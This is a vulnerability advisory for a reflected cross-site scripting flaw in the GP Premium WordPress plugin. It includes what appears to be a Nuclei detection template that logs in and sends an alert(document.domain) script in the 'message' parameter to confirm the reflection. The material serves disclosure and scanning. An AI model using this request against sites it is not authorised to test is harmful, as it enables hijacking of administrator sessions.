CVE-2024-3469: GP Premium <= 2.4.0 - Cross-Site Scripting

2026-01-08 GP Premium PoC Public

Description

The GP Premium plugin for WordPress up to 2.4.0 is vulnerable to reflected XSS via the 'message' parameter in inc/verify.php (lines 95-101), where a message passed with sl_activation=false is URL-decoded and used unsanitized in add_settings_error(), allowing XSS payloads to be reflected in admin notices.

PoC

id: CVE-2024-3469

info:
  name: GP Premium <= 2.4.0 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    The GP Premium plugin for WordPress up to 2.4.0 is vulnerable to reflected XSS via the 'message' parameter in inc/verify.php (lines 95-101), where a message passed with sl_activation=false is URL-decoded and used unsanitized in add_settings_error(), allowing XSS payloads to be reflected in admin notices.
  impact: |
    Successful exploitation allows attackers to hijack administrator sessions via cookie theft, create rogue administrative accounts, perform actions on behalf of authenticated users, and deface the website or inject malicious content.
  remediation: Update GP Premium to version 2.4.1 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gp-premium/gp-premium-240-reflected-cross-site-scripting
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3469
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-3469
    epss-score: 0.00637
    epss-percentile: 0.48849
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: generatepress
    product: gp-premium
    framework: wordpress
    fofa-query: body="/wp-content/plugins/gp-premium/"
  tags: cve,cve2024,wordpress,wp-plugin,gp-premium,xss,authenticated,wp,vkev,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=generate-options&sl_activation=false&message=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "setting-error-license_failed")'
        condition: and
# digest: 4a0a00473045022100a8378b3e8c6eab7f5182c9dabaf4270b4235d129a4484a9c3015d0d1e6b5a42f02203fb65cfcc0b748e5794b82f4b75f7a969d842316077192a0b0af12dc84d91293:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities